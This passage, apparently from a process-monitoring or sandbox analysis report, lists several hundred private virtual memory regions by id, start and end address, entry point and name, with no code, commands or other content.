0xbfe0000 end_va = 0xbfe0fff entry_point = 0x0 region_type = private name = "private_0x000000000bfe0000" filename = "" Region: id = 11862 start_va = 0xbff0000 end_va = 0xbff0fff entry_point = 0x0 region_type = private name = "private_0x000000000bff0000" filename = "" Region: id = 11863 start_va = 0xc000000 end_va = 0xc000fff entry_point = 0x0 region_type = private name = "private_0x000000000c000000" filename = "" Region: id = 11864 start_va = 0xc010000 end_va = 0xc010fff entry_point = 0x0 region_type = private name = "private_0x000000000c010000" filename = "" Region: id = 11865 start_va = 0xc020000 end_va = 0xc020fff entry_point = 0x0 region_type = private name = "private_0x000000000c020000" filename = "" Region: id = 11866 start_va = 0xc030000 end_va = 0xc030fff entry_point = 0x0 region_type = private name = "private_0x000000000c030000" filename = "" Region: id = 11867 start_va = 0xc040000 end_va = 0xc040fff entry_point = 0x0 region_type = private name = "private_0x000000000c040000" filename = "" Region: id = 11868 start_va = 0xc050000 end_va = 0xc050fff entry_point = 0x0 region_type = private name = "private_0x000000000c050000" filename = "" Region: id = 11869 start_va = 0xc060000 end_va = 0xc060fff entry_point = 0x0 region_type = private name = "private_0x000000000c060000" filename = "" Region: id = 11870 start_va = 0xc070000 end_va = 0xc070fff entry_point = 0x0 region_type = private name = "private_0x000000000c070000" filename = "" Region: id = 11871 start_va = 0xc080000 end_va = 0xc080fff entry_point = 0x0 region_type = private name = "private_0x000000000c080000" filename = "" Region: id = 11872 start_va = 0xc090000 end_va = 0xc090fff entry_point = 0x0 region_type = private name = "private_0x000000000c090000" filename = "" Region: id = 11873 start_va = 0xc0a0000 end_va = 0xc0a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c0a0000" filename = "" Region: id = 11874 start_va = 0xc0b0000 end_va = 0xc0b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c0b0000" filename = "" Region: id = 11875 start_va = 0xc0c0000 end_va = 0xc0c0fff entry_point = 0x0 region_type = private name = "private_0x000000000c0c0000" filename = "" Region: id = 11876 start_va = 0xc0d0000 end_va = 0xc0d0fff entry_point = 0x0 region_type = private name = "private_0x000000000c0d0000" filename = "" Region: id = 11877 start_va = 0xc0e0000 end_va = 0xc0e0fff entry_point = 0x0 region_type = private name = "private_0x000000000c0e0000" filename = "" Region: id = 11878 start_va = 0xc0f0000 end_va = 0xc0f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c0f0000" filename = "" Region: id = 11879 start_va = 0xc100000 end_va = 0xc100fff entry_point = 0x0 region_type = private name = "private_0x000000000c100000" filename = "" Region: id = 11880 start_va = 0xc110000 end_va = 0xc110fff entry_point = 0x0 region_type = private name = "private_0x000000000c110000" filename = "" Region: id = 11881 start_va = 0xc120000 end_va = 0xc120fff entry_point = 0x0 region_type = private name = "private_0x000000000c120000" filename = "" Region: id = 11882 start_va = 0xc130000 end_va = 0xc130fff entry_point = 0x0 region_type = private name = "private_0x000000000c130000" filename = "" Region: id = 11883 start_va = 0xc140000 end_va = 0xc140fff entry_point = 0x0 region_type = private name = "private_0x000000000c140000" filename = "" Region: id = 11884 start_va = 0xc150000 end_va = 0xc150fff entry_point = 0x0 region_type = private name = "private_0x000000000c150000" filename = "" Region: id = 11885 start_va = 0xc160000 end_va = 0xc160fff entry_point = 0x0 region_type = private name = "private_0x000000000c160000" filename = "" Region: id = 11886 start_va = 0xc170000 end_va = 0xc170fff entry_point = 0x0 region_type = private name = "private_0x000000000c170000" filename = "" Region: id = 11887 start_va = 0xc180000 end_va = 0xc180fff entry_point = 0x0 region_type = private name = "private_0x000000000c180000" filename = "" Region: id = 11888 start_va = 0xc190000 end_va = 0xc190fff entry_point = 0x0 region_type = private name = "private_0x000000000c190000" filename = "" Region: id = 11889 start_va = 0xc1a0000 end_va = 0xc1a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c1a0000" filename = "" Region: id = 11890 start_va = 0xc1b0000 end_va = 0xc1b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c1b0000" filename = "" Region: id = 11891 start_va = 0xc1c0000 end_va = 0xc1c0fff entry_point = 0x0 region_type = private name = "private_0x000000000c1c0000" filename = "" Region: id = 11892 start_va = 0xc1d0000 end_va = 0xc1d0fff entry_point = 0x0 region_type = private name = "private_0x000000000c1d0000" filename = "" Region: id = 11893 start_va = 0xc1e0000 end_va = 0xc1e0fff entry_point = 0x0 region_type = private name = "private_0x000000000c1e0000" filename = "" Region: id = 11894 start_va = 0xc1f0000 end_va = 0xc1f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c1f0000" filename = "" Region: id = 11895 start_va = 0xc200000 end_va = 0xc200fff entry_point = 0x0 region_type = private name = "private_0x000000000c200000" filename = "" Region: id = 11896 start_va = 0xc210000 end_va = 0xc210fff entry_point = 0x0 region_type = private name = "private_0x000000000c210000" filename = "" Region: id = 11897 start_va = 0xc220000 end_va = 0xc220fff entry_point = 0x0 region_type = private name = "private_0x000000000c220000" filename = "" Region: id = 11898 start_va = 0xc230000 end_va = 0xc230fff entry_point = 0x0 region_type = private name = "private_0x000000000c230000" filename = "" Region: id = 11899 start_va = 0xc240000 end_va = 0xc240fff entry_point = 0x0 region_type = private name = "private_0x000000000c240000" filename = "" Region: id = 11900 start_va = 0xc250000 end_va = 0xc250fff entry_point = 0x0 region_type = private name = "private_0x000000000c250000" filename = "" Region: id = 11901 start_va = 0xc260000 end_va = 0xc260fff entry_point = 0x0 region_type = private name = "private_0x000000000c260000" filename = "" Region: id = 11902 start_va = 0xc270000 end_va = 0xc270fff entry_point = 0x0 region_type = private name = "private_0x000000000c270000" filename = "" Region: id = 11903 start_va = 0xc280000 end_va = 0xc280fff entry_point = 0x0 region_type = private name = "private_0x000000000c280000" filename = "" Region: id = 11904 start_va = 0xc290000 end_va = 0xc290fff entry_point = 0x0 region_type = private name = "private_0x000000000c290000" filename = "" Region: id = 11905 start_va = 0xc2a0000 end_va = 0xc2a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c2a0000" filename = "" Region: id = 11906 start_va = 0xc2b0000 end_va = 0xc2b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c2b0000" filename = "" Region: id = 11907 start_va = 0xc2c0000 end_va = 0xc2c0fff entry_point = 0x0 region_type = private name = "private_0x000000000c2c0000" filename = "" Region: id = 11908 start_va = 0xc2d0000 end_va = 0xc2d0fff entry_point = 0x0 region_type = private name = "private_0x000000000c2d0000" filename = "" Region: id = 11909 start_va = 0xc2e0000 end_va = 0xc2e0fff entry_point = 0x0 region_type = private name = "private_0x000000000c2e0000" filename = "" Region: id = 11910 start_va = 0xc2f0000 end_va = 0xc2f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c2f0000" filename = "" Region: id = 11911 start_va = 0xc300000 end_va = 0xc300fff entry_point = 0x0 region_type = private name = "private_0x000000000c300000" filename = "" Region: id = 11912 start_va = 0xc310000 end_va = 0xc310fff entry_point = 0x0 region_type = private name = "private_0x000000000c310000" filename = "" Region: id = 11913 start_va = 0xc320000 end_va = 0xc320fff entry_point = 0x0 region_type = private name = "private_0x000000000c320000" filename = "" Region: id = 11914 start_va = 0xc330000 end_va = 0xc330fff entry_point = 0x0 region_type = private name = "private_0x000000000c330000" filename = "" Region: id = 11915 start_va = 0xc340000 end_va = 0xc340fff entry_point = 0x0 region_type = private name = "private_0x000000000c340000" filename = "" Region: id = 11916 start_va = 0xc350000 end_va = 0xc350fff entry_point = 0x0 region_type = private name = "private_0x000000000c350000" filename = "" Region: id = 11917 start_va = 0xc360000 end_va = 0xc360fff entry_point = 0x0 region_type = private name = "private_0x000000000c360000" filename = "" Region: id = 11918 start_va = 0xc370000 end_va = 0xc370fff entry_point = 0x0 region_type = private name = "private_0x000000000c370000" filename = "" Region: id = 11919 start_va = 0xc380000 end_va = 0xc380fff entry_point = 0x0 region_type = private name = "private_0x000000000c380000" filename = "" Region: id = 11920 start_va = 0xc390000 end_va = 0xc390fff entry_point = 0x0 region_type = private name = "private_0x000000000c390000" filename = "" Region: id = 11921 start_va = 0xc3a0000 end_va = 0xc3a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c3a0000" filename = "" Region: id = 11922 start_va = 0xc3b0000 end_va = 0xc3b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c3b0000" filename = "" Region: id = 11923 start_va = 0xc3c0000 end_va = 0xc3c0fff entry_point = 0x0 region_type = private name = "private_0x000000000c3c0000" filename = "" Region: id = 11924 start_va = 0xc3d0000 end_va = 0xc3d0fff entry_point = 0x0 region_type = private name = "private_0x000000000c3d0000" filename = "" Region: id = 11925 start_va = 0xc3e0000 end_va = 0xc3e0fff entry_point = 0x0 region_type = private name = "private_0x000000000c3e0000" filename = "" Region: id = 11926 start_va = 0xc3f0000 end_va = 0xc3f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c3f0000" filename = "" Region: id = 11927 start_va = 0xc400000 end_va = 0xc400fff entry_point = 0x0 region_type = private name = "private_0x000000000c400000" filename = "" Region: id = 11928 start_va = 0xc410000 end_va = 0xc410fff entry_point = 0x0 region_type = private name = "private_0x000000000c410000" filename = "" Region: id = 11929 start_va = 0xc420000 end_va = 0xc420fff entry_point = 0x0 region_type = private name = "private_0x000000000c420000" filename = "" Region: id = 11930 start_va = 0xc430000 end_va = 0xc430fff entry_point = 0x0 region_type = private name = "private_0x000000000c430000" filename = "" Region: id = 11931 start_va = 0xc440000 end_va = 0xc440fff entry_point = 0x0 region_type = private name = "private_0x000000000c440000" filename = "" Region: id = 11932 start_va = 0xc450000 end_va = 0xc450fff entry_point = 0x0 region_type = private name = "private_0x000000000c450000" filename = "" Region: id = 11933 start_va = 0xc460000 end_va = 0xc460fff entry_point = 0x0 region_type = private name = "private_0x000000000c460000" filename = "" Region: id = 11934 start_va = 0xc470000 end_va = 0xc470fff entry_point = 0x0 region_type = private name = "private_0x000000000c470000" filename = "" Region: id = 11935 start_va = 0xc480000 end_va = 0xc480fff entry_point = 0x0 region_type = private name = "private_0x000000000c480000" filename = "" Region: id = 11936 start_va = 0xc490000 end_va = 0xc490fff entry_point = 0x0 region_type = private name = "private_0x000000000c490000" filename = "" Region: id = 11937 start_va = 0xc4a0000 end_va = 0xc4a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c4a0000" filename = "" Region: id = 11938 start_va = 0xc4b0000 end_va = 0xc4b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c4b0000" filename = "" Region: id = 11939 start_va = 0xc4c0000 end_va = 0xc4c0fff entry_point = 0x0 region_type = private name = "private_0x000000000c4c0000" filename = "" Region: id = 11940 start_va = 0xc4d0000 end_va = 0xc4d0fff entry_point = 0x0 region_type = private name = "private_0x000000000c4d0000" filename = "" Region: id = 11941 start_va = 0xc4e0000 end_va = 0xc4e0fff entry_point = 0x0 region_type = private name = "private_0x000000000c4e0000" filename = "" Region: id = 11942 start_va = 0xc4f0000 end_va = 0xc4f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c4f0000" filename = "" Region: id = 11943 start_va = 0xc500000 end_va = 0xc500fff entry_point = 0x0 region_type = private name = "private_0x000000000c500000" filename = "" Region: id = 11944 start_va = 0xc510000 end_va = 0xc510fff entry_point = 0x0 region_type = private name = "private_0x000000000c510000" filename = "" Region: id = 11945 start_va = 0xc520000 end_va = 0xc520fff entry_point = 0x0 region_type = private name = "private_0x000000000c520000" filename = "" Region: id = 11946 start_va = 0xc530000 end_va = 0xc530fff entry_point = 0x0 region_type = private name = "private_0x000000000c530000" filename = "" Region: id = 11947 start_va = 0xc540000 end_va = 0xc540fff entry_point = 0x0 region_type = private name = "private_0x000000000c540000" filename = "" Region: id = 11948 start_va = 0xc550000 end_va = 0xc550fff entry_point = 0x0 region_type = private name = "private_0x000000000c550000" filename = "" Region: id = 11949 start_va = 0xc560000 end_va = 0xc560fff entry_point = 0x0 region_type = private name = "private_0x000000000c560000" filename = "" Region: id = 11950 start_va = 0xc570000 end_va = 0xc570fff entry_point = 0x0 region_type = private name = "private_0x000000000c570000" filename = "" Region: id = 11951 start_va = 0xc580000 end_va = 0xc580fff entry_point = 0x0 region_type = private name = "private_0x000000000c580000" filename = "" Region: id = 11952 start_va = 0xc590000 end_va = 0xc590fff entry_point = 0x0 region_type = private name = "private_0x000000000c590000" filename = "" Region: id = 11953 start_va = 0xc5a0000 end_va = 0xc5a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c5a0000" filename = "" Region: id = 11954 start_va = 0xc5b0000 end_va = 0xc5b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c5b0000" filename = "" Region: id = 11955 start_va = 0xc5c0000 end_va = 0xc5c0fff entry_point = 0x0 region_type = private name = "private_0x000000000c5c0000" filename = "" Region: id = 11956 start_va = 0xc5d0000 end_va = 0xc5d0fff entry_point = 0x0 region_type = private name = "private_0x000000000c5d0000" filename = "" Region: id = 11957 start_va = 0xc5e0000 end_va = 0xc5e0fff entry_point = 0x0 region_type = private name = "private_0x000000000c5e0000" filename = "" Region: id = 11958 start_va = 0xc5f0000 end_va = 0xc5f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c5f0000" filename = "" Region: id = 11959 start_va = 0xc600000 end_va = 0xc600fff entry_point = 0x0 region_type = private name = "private_0x000000000c600000" filename = "" Region: id = 11960 start_va = 0xc610000 end_va = 0xc610fff entry_point = 0x0 region_type = private name = "private_0x000000000c610000" filename = "" Region: id = 11961 start_va = 0xc620000 end_va = 0xc620fff entry_point = 0x0 region_type = private name = "private_0x000000000c620000" filename = "" Region: id = 11962 start_va = 0xc630000 end_va = 0xc630fff entry_point = 0x0 region_type = private name = "private_0x000000000c630000" filename = "" Region: id = 11963 start_va = 0xc640000 end_va = 0xc640fff entry_point = 0x0 region_type = private name = "private_0x000000000c640000" filename = "" Region: id = 11964 start_va = 0xc650000 end_va = 0xc650fff entry_point = 0x0 region_type = private name = "private_0x000000000c650000" filename = "" Region: id = 11965 start_va = 0xc660000 end_va = 0xc660fff entry_point = 0x0 region_type = private name = "private_0x000000000c660000" filename = "" Region: id = 11966 start_va = 0xc670000 end_va = 0xc670fff entry_point = 0x0 region_type = private name = "private_0x000000000c670000" filename = "" Region: id = 11967 start_va = 0xc680000 end_va = 0xc680fff entry_point = 0x0 region_type = private name = "private_0x000000000c680000" filename = "" Region: id = 11968 start_va = 0xc690000 end_va = 0xc790fff entry_point = 0x0 region_type = private name = "private_0x000000000c690000" filename = "" Region: id = 11969 start_va = 0xc7a0000 end_va = 0xc7a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c7a0000" filename = "" Region: id = 11970 start_va = 0xc670000 end_va = 0xc670fff entry_point = 0x0 region_type = private name = "private_0x000000000c670000" filename = "" Region: id = 11971 start_va = 0xc680000 end_va = 0xc680fff entry_point = 0x0 region_type = private name = "private_0x000000000c680000" filename = "" Region: id = 11972 start_va = 0xc690000 end_va = 0xc790fff entry_point = 0x0 region_type = private name = "private_0x000000000c690000" filename = "" Region: id = 11973 start_va = 0xc7a0000 end_va = 0xc7a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c7a0000" filename = "" Region: id = 11974 start_va = 0xc670000 end_va = 0xc670fff entry_point = 0x0 region_type = private name = "private_0x000000000c670000" filename = "" Region: id = 11975 start_va = 0xc680000 end_va = 0xc680fff entry_point = 0x0 region_type = private name = "private_0x000000000c680000" filename = "" Region: id = 11976 start_va = 0xc690000 end_va = 0xc690fff entry_point = 0x0 region_type = private name = "private_0x000000000c690000" filename = "" Region: id = 11977 start_va = 0xc6a0000 end_va = 0xc6a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6a0000" filename = "" Region: id = 11978 start_va = 0xc6b0000 end_va = 0xc6b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6b0000" filename = "" Region: id = 11979 start_va = 0xc6c0000 end_va = 0xc6c0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6c0000" filename = "" Region: id = 11980 start_va = 0xc6d0000 end_va = 0xc6d0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6d0000" filename = "" Region: id = 11981 start_va = 0xc6e0000 end_va = 0xc6e0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6e0000" filename = "" Region: id = 11982 start_va = 0xc6f0000 end_va = 0xc6f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6f0000" filename = "" Region: id = 11983 start_va = 0xc700000 end_va = 0xc700fff entry_point = 0x0 region_type = private name = "private_0x000000000c700000" filename = "" Region: id = 11984 start_va = 0xc710000 end_va = 0xc810fff entry_point = 0x0 region_type = private name = "private_0x000000000c710000" filename = "" Region: id = 11985 start_va = 0xc820000 end_va = 0xc823fff entry_point = 0x0 region_type = private name = "private_0x000000000c820000" filename = "" Region: id = 11986 start_va = 0xc6f0000 end_va = 0xc6f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6f0000" filename = "" Region: id = 11987 start_va = 0xc700000 end_va = 0xc700fff entry_point = 0x0 region_type = private name = "private_0x000000000c700000" filename = "" Region: id = 11988 start_va = 0xc710000 end_va = 0xc810fff entry_point = 0x0 region_type = private name = "private_0x000000000c710000" filename = "" Region: id = 11989 start_va = 0xc820000 end_va = 0xc881fff entry_point = 0x0 region_type = private name = "private_0x000000000c820000" filename = "" Region: id = 11990 start_va = 0xc6f0000 end_va = 0xc6f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6f0000" filename = "" Region: id = 11991 start_va = 0xc700000 end_va = 0xc700fff entry_point = 0x0 region_type = private name = "private_0x000000000c700000" filename = "" Region: id = 11992 start_va = 0xc710000 end_va = 0xc810fff entry_point = 0x0 region_type = private name = "private_0x000000000c710000" filename = "" Region: id = 11993 start_va = 0xc820000 end_va = 0xc83afff entry_point = 0x0 region_type = private name = "private_0x000000000c820000" filename = "" Region: id = 11994 start_va = 0xc6f0000 end_va = 0xc6f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6f0000" filename = "" Region: id = 11995 start_va = 0xc700000 end_va = 0xc700fff entry_point = 0x0 region_type = private name = "private_0x000000000c700000" filename = "" Region: id = 11996 start_va = 0xc710000 end_va = 0xc810fff entry_point = 0x0 region_type = private name = "private_0x000000000c710000" filename = "" Region: id = 11997 start_va = 0xc820000 end_va = 0xc83bfff entry_point = 0x0 region_type = private name = "private_0x000000000c820000" filename = "" Region: id = 11998 start_va = 0xc6f0000 end_va = 0xc6f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6f0000" filename = "" Region: id = 11999 start_va = 0xc700000 end_va = 0xc700fff entry_point = 0x0 region_type = private name = "private_0x000000000c700000" filename = "" Region: id = 12000 start_va = 0xc710000 end_va = 0xc810fff entry_point = 0x0 region_type = private name = "private_0x000000000c710000" filename = "" Region: id = 12001 start_va = 0xc820000 end_va = 0xc83afff entry_point = 0x0 region_type = private name = "private_0x000000000c820000" filename = "" Region: id = 12002 start_va = 0xc6f0000 end_va = 0xc6f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6f0000" filename = "" Region: id = 12003 start_va = 0xc700000 end_va = 0xc700fff entry_point = 0x0 region_type = private name = "private_0x000000000c700000" filename = "" Region: id = 12004 start_va = 0xc710000 end_va = 0xc810fff entry_point = 0x0 region_type = private name = "private_0x000000000c710000" filename = "" Region: id = 12005 start_va = 0xc820000 end_va = 0xc841fff entry_point = 0x0 region_type = private name = "private_0x000000000c820000" filename = "" Region: id = 12006 start_va = 0xc6f0000 end_va = 0xc6f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6f0000" filename = "" Region: id = 12007 start_va = 0xc700000 end_va = 0xc700fff entry_point = 0x0 region_type = private name = "private_0x000000000c700000" filename = "" Region: id = 12008 start_va = 0xc710000 end_va = 0xc810fff entry_point = 0x0 region_type = private name = "private_0x000000000c710000" filename = "" Region: id = 12009 start_va = 0xc820000 end_va = 0xc838fff entry_point = 0x0 region_type = private name = "private_0x000000000c820000" filename = "" Region: id = 12010 start_va = 0xc6f0000 end_va = 0xc6f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c6f0000" filename = "" Region: id = 12011 start_va = 0xc700000 end_va = 0xc700fff entry_point = 0x0 region_type = private name = "private_0x000000000c700000" filename = "" Region: id = 12012 start_va = 0xc710000 end_va = 0xc710fff entry_point = 0x0 region_type = private name = "private_0x000000000c710000" filename = "" Region: id = 12013 start_va = 0xc720000 end_va = 0xc720fff entry_point = 0x0 region_type = private name = "private_0x000000000c720000" filename = "" Region: id = 12014 start_va = 0xc730000 end_va = 0xc730fff entry_point = 0x0 region_type = private name = "private_0x000000000c730000" filename = "" Region: id = 12015 start_va = 0xc740000 end_va = 0xc740fff entry_point = 0x0 region_type = private name = "private_0x000000000c740000" filename = "" Region: id = 12016 start_va = 0xc750000 end_va = 0xc750fff entry_point = 0x0 region_type = private name = "private_0x000000000c750000" filename = "" Region: id = 12017 start_va = 0xc760000 end_va = 0xc760fff entry_point = 0x0 region_type = private name = "private_0x000000000c760000" filename = "" Region: id = 12018 start_va = 0xc770000 end_va = 0xc770fff entry_point = 0x0 region_type = private name = "private_0x000000000c770000" filename = "" Region: id = 12019 start_va = 0xc780000 end_va = 0xc780fff entry_point = 0x0 region_type = private name = "private_0x000000000c780000" filename = "" Region: id = 12020 start_va = 0xc790000 end_va = 0xc790fff entry_point = 0x0 region_type = private name = "private_0x000000000c790000" filename = "" Region: id = 12021 start_va = 0xc7a0000 end_va = 0xc7a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c7a0000" filename = "" Region: id = 12022 start_va = 0xc7b0000 end_va = 0xc7b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c7b0000" filename = "" Region: id = 12023 start_va = 0xc7c0000 end_va = 0xc7c0fff entry_point = 0x0 region_type = private name = "private_0x000000000c7c0000" filename = "" Region: id = 12024 start_va = 0xc7d0000 end_va = 0xc7d0fff entry_point = 0x0 region_type = private name = "private_0x000000000c7d0000" filename = "" Region: id = 12025 start_va = 0xc7e0000 end_va = 0xc7e0fff entry_point = 0x0 region_type = private name = "private_0x000000000c7e0000" filename = "" Region: id = 12026 start_va = 0xc7f0000 end_va = 0xc7f0fff entry_point = 0x0 region_type = private name = "private_0x000000000c7f0000" filename = "" Region: id = 12027 start_va = 0xc800000 end_va = 0xc800fff entry_point = 0x0 region_type = private name = "private_0x000000000c800000" filename = "" Region: id = 12028 start_va = 0xc810000 end_va = 0xc810fff entry_point = 0x0 region_type = private name = "private_0x000000000c810000" filename = "" Region: id = 12029 start_va = 0xc820000 end_va = 0xc820fff entry_point = 0x0 region_type = private name = "private_0x000000000c820000" filename = "" Region: id = 12030 start_va = 0xc830000 end_va = 0xc830fff entry_point = 0x0 region_type = private name = "private_0x000000000c830000" filename = "" Region: id = 12031 start_va = 0xc840000 end_va = 0xc840fff entry_point = 0x0 region_type = private name = "private_0x000000000c840000" filename = "" Region: id = 12032 start_va = 0xc850000 end_va = 0xc850fff entry_point = 0x0 region_type = private name = "private_0x000000000c850000" filename = "" Region: id = 12033 start_va = 0xc860000 end_va = 0xc860fff entry_point = 0x0 region_type = private name = "private_0x000000000c860000" filename = "" Region: id = 12034 start_va = 0xc870000 end_va = 0xc870fff entry_point = 0x0 region_type = private name = "private_0x000000000c870000" filename = "" Region: id = 12035 start_va = 0xc880000 end_va = 0xc880fff entry_point = 0x0 region_type = private name = "private_0x000000000c880000" filename = "" Region: id = 12036 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12037 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12038 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12039 start_va = 0xc9c0000 end_va = 0xc9c4fff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 12040 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12041 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12042 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12043 start_va = 0xc9c0000 end_va = 0xc9c4fff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 12044 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12045 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12046 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12047 start_va = 0xc9c0000 end_va = 0xc9c6fff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 12048 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12049 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12050 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12051 start_va = 0xc9c0000 end_va = 0xc9c4fff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 12052 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12053 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12054 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12055 start_va = 0xc9c0000 end_va = 0xc9c4fff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 12056 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12057 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12058 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12059 start_va = 0xc9c0000 end_va = 0xc9c3fff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 12060 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12061 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12062 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12063 start_va = 0xc9c0000 end_va = 0xc9c4fff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 12064 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12065 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12066 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12067 start_va = 0xc9c0000 end_va = 0xc9d6fff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 12068 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12069 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12070 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12071 start_va = 0xc9c0000 end_va = 0xc9c0fff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 12072 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12073 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12074 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12075 start_va = 0xc9c0000 end_va = 0xc9c0fff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 12076 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12077 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12078 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12079 start_va = 0xc9c0000 end_va = 0xc9c0fff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 12080 start_va = 0xc890000 end_va = 0xc890fff entry_point = 0x0 region_type = private name = "private_0x000000000c890000" filename = "" Region: id = 12081 start_va = 0xc8a0000 end_va = 0xc8a0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 12082 start_va = 0xc8b0000 end_va = 0xc9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000c8b0000" filename = "" Region: id = 12083 start_va = 0xc9c0000 